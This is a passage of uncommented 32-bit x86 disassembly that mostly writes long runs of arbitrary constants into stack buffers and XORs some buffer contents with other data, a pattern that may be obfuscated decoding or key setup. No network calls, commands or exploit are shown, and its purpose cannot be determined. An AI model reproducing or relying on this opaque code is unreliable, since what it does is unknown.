mov dword [ebx + 0x18], edx
mov edi, dword [esi + 0x28]
mov dword [ebx + 0x1c], edi
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x44], ecx
mov ecx, dword [esi + 0xc]
mov dword [esi + 0x40], ecx
mov ecx, dword [esi + 0x18]
mov dword [esi + 0x4c], ecx
mov ecx, dword [esi + 0x10]
mov dword [esi + 0x48], ecx
mov ecx, dword [esi + 0x30]
mov dword [esi + 0x54], ecx
mov ecx, dword [esi + 0x34]
mov dword [esi + 0x50], ecx
mov dword [esi + 0x5c], edi
mov dword [esi + 0x58], edx
movaps xmm0, xmmword [ebx]
movaps xmm1, xmmword [ebx + 0x10]
xorps xmm0, xmmword [eax]
movaps xmmword [ebx], xmm0
xorps xmm1, xmmword [eax + 0x10]
movaps xmmword [ebx + 0x10], xmm1
push eax
sub esp, 0x47c
mov ebx, esp
and ebx, 0xfffffff0
mov esp, ebx
push eax
sub esp, 0x1c
mov eax, esp
and eax, 0xfffffff0
mov dword [esi + 0x1c], eax
mov esp, eax
mov eax, 0xe130d39f
mov ecx, 0x71c13ef8
mov dword [ebx + 4], ecx
mov dword [ebx], eax
mov eax, 0x1b69c0ba
mov ecx, 0x60164d9e
mov dword [ebx + 0xc], ecx
mov dword [ebx + 8], eax
mov eax, 0x64a91c97
mov ecx, 0xf1690342
mov dword [ebx + 0x14], ecx
mov dword [ebx + 0x10], eax
mov eax, 0x76142764
mov ecx, 0x5b9c2f21
mov dword [ebx + 0x1c], ecx
mov dword [ebx + 0x18], eax
mov eax, 0xad79004b
mov ecx, 0x2041b9be
mov dword [ebx + 0x24], ecx
mov dword [ebx + 0x20], eax
mov eax, 0x6ec2d1b3
mov ecx, 0xf0fb9940
mov dword [ebx + 0x2c], ecx
mov dword [ebx + 0x28], eax
mov eax, 0xcfc802ee
mov ecx, 0x7bb2c751
mov dword [ebx + 0x34], ecx
mov dword [ebx + 0x30], eax
mov eax, 0x4f087716
mov ecx, 0xb2403012
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x38], eax
mov eax, 0x69362aca
mov ecx, 0x1992a338
mov dword [ebx + 0x44], ecx
mov dword [ebx + 0x40], eax
mov eax, 0x7672330
mov ecx, 0xf8745354
mov dword [ebx + 0x4c], ecx
mov dword [ebx + 0x48], eax
mov eax, 0xaa37459c
mov ecx, 0x7112aff5
mov dword [ebx + 0x54], ecx
mov dword [ebx + 0x50], eax
mov eax, 0xd18f46ca
mov ecx, 0x7f98a056
mov dword [ebx + 0x5c], ecx
mov dword [ebx + 0x58], eax
mov eax, 0x740e4f6f
mov ecx, 0x599d8ad9
mov dword [ebx + 0x64], ecx
mov dword [ebx + 0x60], eax
mov eax, 0x9b175100
mov ecx, 0x289ddeda
mov dword [ebx + 0x6c], ecx
mov dword [ebx + 0x68], eax
mov eax, 0xdfc7e572
mov ecx, 0x57ee7a89
mov dword [ebx + 0x74], ecx
mov dword [ebx + 0x70], eax
mov eax, 0xa1b6b66f
mov ecx, 0x28962094
mov dword [ebx + 0x7c], ecx
mov dword [ebx + 0x78], eax
mov eax, 0xc3417b37
mov ecx, 0x47cff8f3
mov dword [ebx + 0x84], ecx
mov dword [ebx + 0x80], eax
mov eax, 0x7a348a29
mov ecx, 0xdb2d771a
mov dword [ebx + 0x8c], ecx
mov dword [ebx + 0x88], eax
mov eax, 0xcf42abbc
mov ecx, 0x414a2d79
mov dword [ebx + 0x94], ecx
mov dword [ebx + 0x90], eax
mov eax, 0x60a4c126
mov ecx, 0x3a293ff4
mov dword [ebx + 0x9c], ecx
mov dword [ebx + 0x98], eax
mov eax, 0x8983ffa3
mov ecx, 0xd2fd1f4a
mov dword [ebx + 0xa4], ecx
mov dword [ebx + 0xa0], eax
mov eax, 0xa7fc864
mov ecx, 0x181839b9
mov dword [ebx + 0xac], ecx
mov dword [ebx + 0xa8], eax
mov eax, 0x20b48d30
mov ecx, 0x2934e0c6
mov dword [ebx + 0xb4], ecx
mov dword [ebx + 0xb0], eax
mov eax, 0x4c0949a9
mov ecx, 0xe3289e94
mov dword [ebx + 0xbc], ecx
mov dword [ebx + 0xb8], eax
mov eax, 0x5d208
mov ecx, 0x71efdb4d
mov dword [ebx + 0xc4], ecx
mov dword [ebx + 0xc0], eax
mov eax, 0x7ada8bf0
mov ecx, 0x663d825c
mov dword [ebx + 0xcc], ecx
mov dword [ebx + 0xc8], eax
mov eax, 0x54b4883e
mov ecx, 0xd111cfc6
mov dword [ebx + 0xd4], ecx
mov dword [ebx + 0xd0], eax
mov eax, 0xcb7505ee
mov ecx, 0xaa6c0f78
mov dword [ebx + 0xdc], ecx
mov dword [ebx + 0xd8], eax
mov eax, 0x478ecb0
mov ecx, 0xd84e8430
mov dword [ebx + 0xe4], ecx
mov dword [ebx + 0xe0], eax
mov eax, 0xd4b7c24d
mov ecx, 0xdc6c63af
mov dword [ebx + 0xec], ecx
mov dword [ebx + 0xe8], eax
mov eax, 0xb58ad8de
mov ecx, 0x716d7417
mov dword [ebx + 0xf4], ecx
mov dword [ebx + 0xf0], eax
mov eax, 0xa61a85ca
mov ecx, 0x46a1487b
mov dword [ebx + 0xfc], ecx
mov dword [ebx + 0xf8], eax
mov eax, 0xbd9176ac
mov ecx, 0x96b9fd80
mov dword [ebx + 0x104], ecx
mov dword [ebx + 0x100], eax
mov eax, 0x62be8e5f
mov ecx, 0x42c7912d
mov dword [ebx + 0x10c], ecx
mov dword [ebx + 0x108], eax
mov eax, 0xe15ef889
mov ecx, 0x126fcb5b
mov dword [ebx + 0x114], ecx
mov dword [ebx + 0x110], eax
mov eax, 0xcdd5ab3b
mov ecx, 0x5a56875
mov dword [ebx + 0x11c], ecx
mov dword [ebx + 0x118], eax
mov eax, 0xe022c5be
mov ecx, 0x9659b74e
mov dword [ebx + 0x124], ecx
mov dword [ebx + 0x120], eax
mov eax, 0x96609c74
mov ecx, 0x40fd64a8
mov dword [ebx + 0x12c], ecx
mov dword [ebx + 0x128], eax
mov eax, 0x2a893f34
mov ecx, 0xf601fd52
mov dword [ebx + 0x134], ecx
mov dword [ebx + 0x130], eax
mov eax, 0x2f79d150
mov ecx, 0xd6685046
mov dword [ebx + 0x13c], ecx
mov dword [ebx + 0x138], eax
mov eax, 0xd579aa59
mov ecx, 0x81623af5
mov dword [ebx + 0x144], ecx
mov dword [ebx + 0x140], eax
mov eax, 0xaeccb109
mov ecx, 0x7bb05244
mov dword [ebx + 0x14c], ecx
mov dword [ebx + 0x148], eax
mov eax, 0x8ebf6c9c
mov ecx, 0xaec1a96a
mov dword [ebx + 0x154], ecx
mov dword [ebx + 0x150], eax
mov eax, 0xb9f9df50
mov ecx, 0xcf9b91f6
mov dword [ebx + 0x15c], ecx
mov dword [ebx + 0x158], eax
mov eax, 0x14fb35eb
mov ecx, 0xe4274dea
mov dword [ebx + 0x164], ecx
mov dword [ebx + 0x160], eax
mov eax, 0x32bf7716
mov ecx, 0xb92c3d07
mov dword [ebx + 0x16c], ecx
mov dword [ebx + 0x168], eax
mov eax, 0x193f2fec
mov ecx, 0xa1b5b0d7
mov dword [ebx + 0x174], ecx
mov dword [ebx + 0x170], eax
mov eax, 0xf228eec9
mov ecx, 0x96ac4828
mov dword [ebx + 0x17c], ecx
mov dword [ebx + 0x178], eax
mov eax, 0x67da54f1
mov ecx, 0xf9e46bc0
mov dword [ebx + 0x184], ecx
mov dword [ebx + 0x180], eax
mov eax, 0x182effaf
mov ecx, 0xe6c8057f
mov dword [ebx + 0x18c], ecx
mov dword [ebx + 0x188], eax
mov eax, 0x47b19d36
mov ecx, 0x6c061bf
mov dword [ebx + 0x194], ecx
mov dword [ebx + 0x190], eax
mov eax, 0x6a64ab9c
mov ecx, 0x5629682d
mov dword [ebx + 0x19c], ecx
mov dword [ebx + 0x198], eax
mov eax, 0x91c17ddc
mov ecx, 0x5eae1cbb
mov dword [ebx + 0x1a4], ecx
mov dword [ebx + 0x1a0], eax
mov eax, 0xa07703f6
mov ecx, 0x72f0d5c3
mov dword [ebx + 0x1ac], ecx
mov dword [ebx + 0x1a8], eax
mov eax, 0x980cea91
mov ecx, 0x1c207f9e
mov dword [ebx + 0x1b4], ecx
mov dword [ebx + 0x1b0], eax
mov eax, 0x545caa1d
mov ecx, 0x47b411c3
mov dword [ebx + 0x1bc], ecx
mov dword [ebx + 0x1b8], eax
mov eax, 0x396dae82
mov ecx, 0x11865bfa
mov dword [ebx + 0x1c4], ecx
mov dword [ebx + 0x1c0], eax
mov eax, 0x30b0a00e
mov ecx, 0x81ac114f
mov dword [ebx + 0x1cc], ecx
mov dword [ebx + 0x1c8], eax
mov eax, 0x12463f6d
mov ecx, 0x11d6174f
mov dword [ebx + 0x1d4], ecx
mov dword [ebx + 0x1d0], eax
mov eax, 0xd4e18a0f
mov ecx, 0x27be1c99
mov dword [ebx + 0x1dc], ecx
mov dword [ebx + 0x1d8], eax
mov eax, 0x6c6c4ffc
mov ecx, 0xae2549f3
mov dword [ebx + 0x1e4], ecx
mov dword [ebx + 0x1e0], eax
mov eax, 0x6b95cf82
mov ecx, 0x758f0432
mov dword [ebx + 0x1ec], ecx
mov dword [ebx + 0x1e8], eax
mov eax, 0xd93f3c22
mov ecx, 0xec48fb4
mov dword [ebx + 0x1f4], ecx
mov dword [ebx + 0x1f0], eax
mov eax, 0x76a7d96c
mov ecx, 0xedd89f48
mov dword [ebx + 0x1fc], ecx
mov dword [ebx + 0x1f8], eax
mov eax, 0xe97de5f9
mov ecx, 0x92827bc8
mov dword [ebx + 0x204], ecx
mov dword [ebx + 0x200], eax
mov eax, 0x86bdf39a
mov ecx, 0x3d265b90
mov dword [ebx + 0x20c], ecx
mov dword [ebx + 0x208], eax
mov eax, 0x3d0abb6b
mov ecx, 0xe7d4945
mov dword [ebx + 0x214], ecx
mov dword [ebx + 0x210], eax
mov eax, 0x512c0c1
mov ecx, 0xed894443
mov dword [ebx + 0x21c], ecx
mov dword [ebx + 0x218], eax
mov eax, 0xd834e740
mov ecx, 0x33f0d22f
mov dword [ebx + 0x224], ecx
mov dword [ebx + 0x220], eax
mov eax, 0xb15186d4
mov ecx, 0xf42128b0
mov dword [ebx + 0x22c], ecx
mov dword [ebx + 0x228], eax
mov eax, 0xe6b333b4
mov ecx, 0xccd9c2d0
mov dword [ebx + 0x234], ecx
mov dword [ebx + 0x230], eax
mov eax, 0x3eeda741
mov ecx, 0x50212d1b
mov dword [ebx + 0x23c], ecx
mov dword [ebx + 0x238], eax
mov eax, 0x292fa55e
mov ecx, 0x93212fa3
mov dword [ebx + 0x244], ecx
mov dword [ebx + 0x240], eax
mov eax, 0x8a7acc26
mov ecx, 0x30b6431
mov dword [ebx + 0x24c], ecx
mov dword [ebx + 0x248], eax
mov eax, 0xa6756487
mov ecx, 0x9296eb7c
mov dword [ebx + 0x254], ecx
mov dword [ebx + 0x250], eax
mov eax, 0x25ed9479
mov ecx, 0x99dede22
mov dword [ebx + 0x25c], ecx
mov dword [ebx + 0x258], eax
mov eax, 0x7f3ce481
mov ecx, 0x76e1af33
mov dword [ebx + 0x264], ecx
mov dword [ebx + 0x260], eax
mov eax, 0xcb00ce49
mov ecx, 0x7b82c378
mov dword [ebx + 0x26c], ecx
mov dword [ebx + 0x268], eax
mov eax, 0xdacb2db1
mov ecx, 0x9d822ef5
mov dword [ebx + 0x274], ecx
mov dword [ebx + 0x270], eax
mov eax, 0xace50fc1
mov ecx, 0xf31a5db3
mov dword [ebx + 0x27c], ecx
mov dword [ebx + 0x278], eax
mov eax, 0x9ff809e6
mov ecx, 0x6f83d607
mov dword [ebx + 0x284], ecx
mov dword [ebx + 0x280], eax
mov eax, 0x2a6f1fc2
mov ecx, 0x1ba06a4a
mov dword [ebx + 0x28c], ecx
mov dword [ebx + 0x288], eax
mov eax, 0x3826d5c4
mov ecx, 0x8714ad0f
mov dword [ebx + 0x294], ecx
mov dword [ebx + 0x290], eax
mov eax, 0xf935bc6
mov ecx, 0xa4269339
mov dword [ebx + 0x29c], ecx
mov dword [ebx + 0x298], eax
mov eax, 0x64a4253
mov ecx, 0x59535542
mov dword [ebx + 0x2a4], ecx
mov dword [ebx + 0x2a0], eax
mov eax, 0x3f8b6634
mov ecx, 0xbc998e0c
mov dword [ebx + 0x2ac], ecx
mov dword [ebx + 0x2a8], eax
mov eax, 0x506ea7de
mov ecx, 0x800bd41e
mov dword [ebx + 0x2b4], ecx
mov dword [ebx + 0x2b0], eax
mov eax, 0x9eeb46d0
mov ecx, 0x29f0ab4
mov dword [ebx + 0x2bc], ecx
mov dword [ebx + 0x2b8], eax
mov eax, 0x262364aa
mov ecx, 0xf6319dc3
mov dword [ebx + 0x2c4], ecx
mov dword [ebx + 0x2c0], eax
mov eax, 0x2e6482ab
mov ecx, 0xe05dbf5c
mov dword [ebx + 0x2cc], ecx
mov dword [ebx + 0x2c8], eax
mov eax, 0x5c7835b2
mov ecx, 0x23d70c2c
mov dword [ebx + 0x2d4], ecx
mov dword [ebx + 0x2d0], eax
mov eax, 0xd214afae
mov ecx, 0xfcec4bb1
mov dword [ebx + 0x2dc], ecx
mov dword [ebx + 0x2d8], eax
mov eax, 0xbd796a5
mov ecx, 0x2a13c17c
mov dword [ebx + 0x2e4], ecx
mov dword [ebx + 0x2e0], eax
mov eax, 0xdc756c1b
mov ecx, 0x2e01a02b
mov dword [ebx + 0x2ec], ecx
mov dword [ebx + 0x2e8], eax
mov eax, 0xbd2682a6
mov ecx, 0xc3feb178
mov dword [ebx + 0x2f4], ecx
mov dword [ebx + 0x2f0], eax
mov eax, 0x6a0b303e
mov ecx, 0xdeadd523
mov dword [ebx + 0x2fc], ecx
mov dword [ebx + 0x2f8], eax
mov eax, 0x3a943e58
mov ecx, 0xe80b524d
mov dword [ebx + 0x304], ecx
mov dword [ebx + 0x300], eax
mov eax, 0x391a38c8
mov ecx, 0xc5499966
mov dword [ebx + 0x30c], ecx
mov dword [ebx + 0x308], eax
mov eax, 0x5b743b4d
mov ecx, 0xf29df8ad
mov dword [ebx + 0x314], ecx
mov dword [ebx + 0x310], eax
mov eax, 0x5df4b921
mov ecx, 0x9072f313
mov dword [ebx + 0x31c], ecx
mov dword [ebx + 0x318], eax
mov eax, 0x40ed0790
mov ecx, 0x3d9e93d7
mov dword [ebx + 0x324], ecx
mov dword [ebx + 0x320], eax
mov eax, 0xd0c686d9
mov ecx, 0x17ffe622
mov dword [ebx + 0x32c], ecx
mov dword [ebx + 0x328], eax
mov eax, 0x68339d59
mov ecx, 0x2285d379
mov dword [ebx + 0x334], ecx
mov dword [ebx + 0x330], eax
mov eax, 0x66f428a7
mov ecx, 0x2b268e5d
mov dword [ebx + 0x33c], ecx
mov dword [ebx + 0x338], eax
mov eax, 0x30e8b422
mov ecx, 0x8464fe4c
mov dword [ebx + 0x344], ecx
mov dword [ebx + 0x340], eax
mov eax, 0xf17d0920
mov ecx, 0xfee5cf19
mov dword [ebx + 0x34c], ecx
mov dword [ebx + 0x348], eax
mov eax, 0x7cfbcd65
mov ecx, 0x850d1957
mov dword [ebx + 0x354], ecx
mov dword [ebx + 0x350], eax
mov eax, 0x2a3bfdaa
mov ecx, 0x2a614574
mov dword [ebx + 0x35c], ecx
mov dword [ebx + 0x358], eax
mov eax, 0x9751f6a
mov ecx, 0x37c78e2e
mov dword [ebx + 0x364], ecx
mov dword [ebx + 0x360], eax
mov eax, 0x3e6b6943
mov ecx, 0x6124759b
mov dword [ebx + 0x36c], ecx
mov dword [ebx + 0x368], eax
mov eax, 0xf3df8c27
mov ecx, 0xbee703a
mov dword [ebx + 0x374], ecx
mov dword [ebx + 0x370], eax
mov eax, 0xca5ff01b
mov ecx, 0x99d853f
mov dword [ebx + 0x37c], ecx
mov dword [ebx + 0x378], eax
mov eax, 0x4a5fab9
mov ecx, 0x9f69fe57
mov dword [ebx + 0x384], ecx
mov dword [ebx + 0x380], eax
mov eax, 0xe0523480
mov ecx, 0x67d52b30
mov dword [ebx + 0x38c], ecx
mov dword [ebx + 0x388], eax
mov eax, 0x1c7f14e6
mov ecx, 0x30b1cdf5
mov dword [ebx + 0x394], ecx
mov dword [ebx + 0x390], eax
mov eax, 0xe0c30ea7
mov ecx, 0x68cf70dc
mov dword [ebx + 0x39c], ecx
mov dword [ebx + 0x398], eax
mov eax, 0xec472fa2
mov ecx, 0xb00fb167
mov dword [ebx + 0x3a4], ecx
mov dword [ebx + 0x3a0], eax
mov eax, 0xa3f5adec
mov ecx, 0xc4b8f3d0
mov dword [ebx + 0x3ac], ecx
mov dword [ebx + 0x3a8], eax
mov eax, 0xccfe76a0
mov ecx, 0x61ff2c0
mov dword [ebx + 0x3b4], ecx
mov dword [ebx + 0x3b0], eax
mov eax, 0x7ca450ce
mov ecx, 0x5a849b98
mov dword [ebx + 0x3bc], ecx
mov dword [ebx + 0x3b8], eax
mov eax, 0x5403ba4f
mov ecx, 0x450f79f9
mov dword [ebx + 0x3c4], ecx
mov dword [ebx + 0x3c0], eax
mov eax, 0x6f63ad09
mov ecx, 0xe7fa4e87
mov dword [ebx + 0x3cc], ecx
mov dword [ebx + 0x3c8], eax
mov eax, 0xb004c4f5
mov ecx, 0xe61aac0d
mov dword [ebx + 0x3d4], ecx
mov dword [ebx + 0x3d0], eax
mov eax, 0x332f40ba
mov ecx, 0x7a0b59bf
mov dword [ebx + 0x3dc], ecx
mov dword [ebx + 0x3d8], eax
mov eax, 0x92540cc9
mov ecx, 0x291559fe
mov dword [ebx + 0x3e4], ecx
mov dword [ebx + 0x3e0], eax
mov eax, 0x1ed2a91c
mov ecx, 0xf5ba78c9
mov dword [ebx + 0x3ec], ecx
mov dword [ebx + 0x3e8], eax
mov eax, 0x1405d945
mov ecx, 0x39e3a6c9
mov dword [ebx + 0x3f4], ecx
mov dword [ebx + 0x3f0], eax
mov eax, 0x7ddb49d7
mov ecx, 0xbab4dcd4
mov dword [ebx + 0x3fc], ecx
mov dword [ebx + 0x3f8], eax
mov eax, 0xf8d7042
mov ecx, 0x32006b79
mov dword [ebx + 0x404], ecx
mov dword [ebx + 0x400], eax
mov eax, 0x550e6d0a
mov ecx, 0x8aeecec6
mov dword [ebx + 0x40c], ecx
mov dword [ebx + 0x408], eax
mov eax, 0xbba5f8cd
mov ecx, 0x6ffe0003
mov dword [ebx + 0x414], ecx
mov dword [ebx + 0x410], eax
mov eax, 0xf361e246
mov ecx, 0x284dea2c
mov dword [ebx + 0x41c], ecx
mov dword [ebx + 0x418], eax
mov eax, 0xdfcb8167
mov ecx, 0xc5c20f54
mov dword [ebx + 0x424], ecx
mov dword [ebx + 0x420], eax
mov eax, 0xe01f63fc
mov ecx, 0xb990362d
mov dword [ebx + 0x42c], ecx
mov dword [ebx + 0x428], eax
mov eax, 0xbd1e4dec
mov ecx, 0x76b918d3
mov dword [ebx + 0x434], ecx
mov dword [ebx + 0x430], eax
mov eax, 0x45fc7146
mov ecx, 0xcefd3c44
mov dword [ebx + 0x43c], ecx
mov dword [ebx + 0x438], eax
mov eax, 0xcf0f6b62
mov ecx, 0xeabae975
mov dword [ebx + 0x444], ecx
mov dword [ebx + 0x440], eax
mov eax, 0x6e982e14
mov ecx, 0x54af2ae2
mov dword [ebx + 0x44c], ecx
mov dword [ebx + 0x448], eax
mov eax, 0xd8b08aee
mov ecx, 0xbae67f1f
mov dword [ebx + 0x454], ecx
mov dword [ebx + 0x450], eax
mov eax, 0xd2fca362
mov ecx, 0x8fc07e24
mov dword [ebx + 0x45c], ecx
mov dword [ebx + 0x458], eax
mov eax, 0xf5adf60f
mov ecx, 0xa506c224
mov dword [ebx + 0x464], ecx
mov dword [ebx + 0x460], eax
mov eax, 0xa4aa17a4
mov ecx, 0xce199ad1
mov dword [ebx + 0x46c], ecx
mov dword [ebx + 0x468], eax
mov eax, 0x540f6321
mov ecx, 0xf07d3de0
mov dword [ebx + 0x474], ecx
mov dword [ebx + 0x470], eax
mov eax, 0xb32546bd
mov ecx, 0x45a69a9f
mov dword [ebx + 0x47c], ecx
mov dword [ebx + 0x478], eax
mov eax, 0xe1bf3b63
mov ecx, 0x40a13ef8
mov dword [esi + 0x20], ecx
mov dword [esi + 0x44], ecx
mov dword [esi + 0x24], eax
mov dword [esi + 0x40], eax
mov eax, 0x7f8c4968
mov ecx, 0xeb261f15
mov dword [esi + 0x38], ecx
mov dword [esi + 0x4c], ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x48], eax
mov eax, 0x362210c5
mov ecx, 0xbbde0c56
mov dword [esi + 0xdb8], ecx
mov dword [esi + 0x54], ecx
mov dword [esi + 0xdbc], eax
mov dword [esi + 0x50], eax
mov eax, 0xfdeb1642
mov ecx, 0x9bad0753
mov dword [esi + 0xdb0], ecx
mov dword [esi + 0x5c], ecx
mov dword [esi + 0xdb4], eax
mov dword [esi + 0x58], eax
mov eax, 0xd1183ce7
mov ecx, 0xe16195bc
mov dword [esi + 0x64], ecx
mov dword [esi + 0x60], eax
mov eax, 0xa9c3dc7c
mov ecx, 0xa214ec09
mov dword [esi + 0x6c], ecx
mov dword [esi + 0x68], eax
mov eax, 0xdf9a89b9
mov ecx, 0x7a8e85da
mov dword [esi + 0x74], ecx
mov dword [esi + 0x70], eax
mov eax, 0x3748fcc6
mov ecx, 0xfe34f097
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x78], eax
mov eax, 0x21bdfacb
mov ecx, 0x4119f320
mov dword [esi + 0x84], ecx
mov dword [esi + 0x80], eax
mov eax, 0x82b42210
mov ecx, 0xb148279d
mov dword [esi + 0x8c], ecx
mov dword [esi + 0x88], eax
mov eax, 0x9ebcbaad
mov ecx, 0x40c4ae7e
mov dword [esi + 0x94], ecx
mov dword [esi + 0x90], eax
mov eax, 0x1e4eea0a
mov ecx, 0x475fa15b
mov dword [esi + 0x9c], ecx
mov dword [esi + 0x98], eax
mov eax, 0x77fa3a8f
mov ecx, 0x24a672a4
mov dword [esi + 0xa4], ecx
mov dword [esi + 0xa0], eax
mov eax, 0xc3f72424
mov ecx, 0x29b98651
mov dword [esi + 0xac], ecx
mov dword [esi + 0xa8], eax
mov eax, 0xd34c83a1
mov ecx, 0x4bb6f1c2
mov dword [esi + 0xb4], ecx
mov dword [esi + 0xb0], eax
mov eax, 0xa53d656e
mov ecx, 0xa146211f
mov dword [esi + 0xbc], ecx
mov dword [esi + 0xb8], eax
mov eax, 0x98655f73
mov ecx, 0x1d9699a8
mov dword [esi + 0xc4], ecx
mov dword [esi + 0xc0], eax
mov eax, 0x22d47578
mov ecx, 0xc9a62d45
mov dword [esi + 0xcc], ecx
mov dword [esi + 0xc8], eax
mov eax, 0x30bd2b55
mov ecx, 0x35227086
mov dword [esi + 0xd4], ecx
mov dword [esi + 0xd0], eax
mov eax, 0x8a4b152
mov ecx, 0x52475683
mov dword [esi + 0xdc], ecx
mov dword [esi + 0xd8], eax
mov eax, 0xfecf97f7
mov ecx, 0x702186c
mov dword [esi + 0xe4], ecx
mov dword [esi + 0xe0], eax
mov eax, 0x384cbc0c
mov ecx, 0x6a7b51b9
mov dword [esi + 0xec], ecx
mov dword [esi + 0xe8], eax
mov eax, 0x48e0fd49
mov ecx, 0x2e12978a
mov dword [esi + 0xf4], ecx
mov dword [esi + 0xf0], eax
mov eax, 0x97389c56
mov ecx, 0xb07bcdc7
mov dword [esi + 0xfc], ecx
mov dword [esi + 0xf8], eax
mov eax, 0x1f01ba5b
mov ecx, 0xa41060d0
mov dword [esi + 0x104], ecx
mov dword [esi + 0x100], eax
mov eax, 0x26b2d8a0
mov ecx, 0x8e3d824d
mov dword [esi + 0x10c], ecx
mov dword [esi + 0x108], eax
mov eax, 0x54b48bbd
mov ecx, 0xd165cfae
mov dword [esi + 0x114], ecx
mov dword [esi + 0x110], eax
mov eax, 0xcb05059a
mov ecx, 0xaa560f0b
mov dword [esi + 0x11c], ecx
mov dword [esi + 0x118], eax
mov eax, 0x457ec9f
mov ecx, 0xd82a8454
mov dword [esi + 0x124], ecx
mov dword [esi + 0x120], eax
mov eax, 0xd4c4c234
mov ecx, 0xdc006381
mov dword [esi + 0x12c], ecx
mov dword [esi + 0x128], eax
mov eax, 0xb5fcd8b1
mov ecx, 0x71577472
mov dword [esi + 0x134], ecx
mov dword [esi + 0x130], eax
mov eax, 0xa62e85fe
mov ecx, 0x4695484f
mov dword [esi + 0x13c], ecx
mov dword [esi + 0x138], eax
mov eax, 0xbdfc7683
mov ecx, 0x96dafdd8
mov dword [esi + 0x144], ecx
mov dword [esi + 0x140], eax
mov eax, 0x62ef8e08
mov ecx, 0x42ea9175
mov dword [esi + 0x14c], ecx
mov dword [esi + 0x148], eax
mov eax, 0xe10af8e5
mov ecx, 0x1217cb36
mov dword [esi + 0x154], ecx
mov dword [esi + 0x150], eax
mov eax, 0xcd8aab62
mov ecx, 0x5cb6833
mov dword [esi + 0x15c], ecx
mov dword [esi + 0x158], eax
mov eax, 0xe072c587
mov ecx, 0x9631b71c
mov dword [esi + 0x164], ecx
mov dword [esi + 0x160], eax
mov eax, 0x96589c1c
mov ecx, 0x40cb64e9
mov dword [esi + 0x16c], ecx
mov dword [esi + 0x168], eax
mov eax, 0x2ac03f59
mov ecx, 0xf678fd3a
mov dword [esi + 0x174], ecx
mov dword [esi + 0x170], eax
mov eax, 0x2f4dd166
mov ecx, 0xd61c5077
mov dword [esi + 0x17c], ecx
mov dword [esi + 0x178], eax
mov eax, 0xd511aa6b
mov ecx, 0x81533a80
mov dword [esi + 0x184], ecx
mov dword [esi + 0x180], eax
mov eax, 0xae96b130
mov ecx, 0x7bea527d
mov dword [esi + 0x18c], ecx
mov dword [esi + 0x188], eax
mov eax, 0x8ecc6ccd
mov ecx, 0xaea8a95e
mov dword [esi + 0x194], ecx
mov dword [esi + 0x190], eax
mov eax, 0xb9cbdf2a
mov ecx, 0xcff691bb
mov dword [esi + 0x19c], ecx
mov dword [esi + 0x198], eax
mov eax, 0x14a835af
mov ecx, 0xe46f4d84
mov dword [esi + 0x1a4], ecx
mov dword [esi + 0x1a0], eax
mov eax, 0x32887744
mov ecx, 0xb9433d31
mov dword [esi + 0x1ac], ecx
mov dword [esi + 0x1a8], eax
mov eax, 0x195e2fc1
mov ecx, 0xa1f0b0a2
mov dword [esi + 0x1b4], ecx
mov dword [esi + 0x1b0], eax
mov eax, 0xf205ee8e
mov ecx, 0x96e4487f
mov dword [esi + 0x1bc], ecx
mov dword [esi + 0x1b8], eax
mov eax, 0x679c5493
mov ecx, 0xf9d16b88
mov dword [esi + 0x1c4], ecx
mov dword [esi + 0x1c0], eax
mov eax, 0x1842ff98
mov ecx, 0xe6af0525
mov dword [esi + 0x1cc], ecx
mov dword [esi + 0x1c8], eax
mov eax, 0x47d29d75
mov ecx, 0x6b761e6
mov dword [esi + 0x1d4], ecx
mov dword [esi + 0x1d0], eax
mov eax, 0x6a1eabf2
mov ecx, 0x561a6863
mov dword [esi + 0x1dc], ecx
mov dword [esi + 0x1d8], eax
mov eax, 0x91ae7d97
mov ecx, 0x5e981ccc
mov dword [esi + 0x1e4], ecx
mov dword [esi + 0x1e0], eax
mov eax, 0xa04603ac
mov ecx, 0x72a1d599
mov dword [esi + 0x1ec], ecx
mov dword [esi + 0x1e8], eax
mov eax, 0x9855eae9
mov ecx, 0x1c197fea
mov dword [esi + 0x1f4], ecx
mov dword [esi + 0x1f0], eax
mov eax, 0x5431aa76
mov ecx, 0x47d111a7
mov dword [esi + 0x1fc], ecx
mov dword [esi + 0x1f8], eax
mov eax, 0x390faefb
mov ecx, 0x11f45bb0
mov dword [esi + 0x204], ecx
mov dword [esi + 0x200], eax
mov eax, 0x30d8a040
mov ecx, 0x81d5112d
mov dword [esi + 0x20c], ecx
mov dword [esi + 0x208], eax
mov eax, 0x12113f5d
mov ecx, 0x119f170e
mov dword [esi + 0x214], ecx
mov dword [esi + 0x210], eax
mov eax, 0xd48b8a3a
mov ecx, 0x27db1ceb
mov dword [esi + 0x21c], ecx
mov dword [esi + 0x218], eax
mov eax, 0x6c204fbf
mov ecx, 0xae7049b4
mov dword [esi + 0x224], ecx
mov dword [esi + 0x220], eax
mov eax, 0x6bf1cfd4
mov ecx, 0x75ff0461
mov dword [esi + 0x22c], ecx
mov dword [esi + 0x228], eax
mov eax, 0xd94d3c51
mov ecx, 0xeb78fd2
mov dword [esi + 0x234], ecx
mov dword [esi + 0x230], eax
mov eax, 0x76f6d91e
mov ecx, 0xed8b9f2f
mov dword [esi + 0x23c], ecx
mov dword [esi + 0x238], eax
mov eax, 0xe918e5a3
mov ecx, 0x92d17bb8
mov dword [esi + 0x244], ecx
mov dword [esi + 0x240], eax
mov eax, 0x86e5f3a8
mov ecx, 0x3d565bd5
mov dword [esi + 0x24c], ecx
mov dword [esi + 0x248], eax
mov eax, 0x3d7bbb05
mov ecx, 0xe0e4916
mov dword [esi + 0x254], ecx
mov dword [esi + 0x250], eax
mov eax, 0x544c082
mov ecx, 0xeddd4413
mov dword [esi + 0x25c], ecx
mov dword [esi + 0x258], eax
mov eax, 0xd871e727
mov ecx, 0x3391d27c
mov dword [esi + 0x264], ecx
mov dword [esi + 0x260], eax
mov eax, 0xb11d86bc
mov ecx, 0xf44528c9
mov dword [esi + 0x26c], ecx
mov dword [esi + 0x268], eax
mov eax, 0xe6f433f9
mov ecx, 0xccbec29a
mov dword [esi + 0x274], ecx
mov dword [esi + 0x270], eax
mov eax, 0x3ea2a706
mov ecx, 0x50652d57
mov dword [esi + 0x27c], ecx
mov dword [esi + 0x278], eax
mov eax, 0x2917a50b
mov ecx, 0x934a2fe0
mov dword [esi + 0x284], ecx
mov dword [esi + 0x280], eax
mov eax, 0x8a0dcc50
mov ecx, 0x378645d
mov dword [esi + 0x28c], ecx
mov dword [esi + 0x288], eax
mov eax, 0xa61664ed
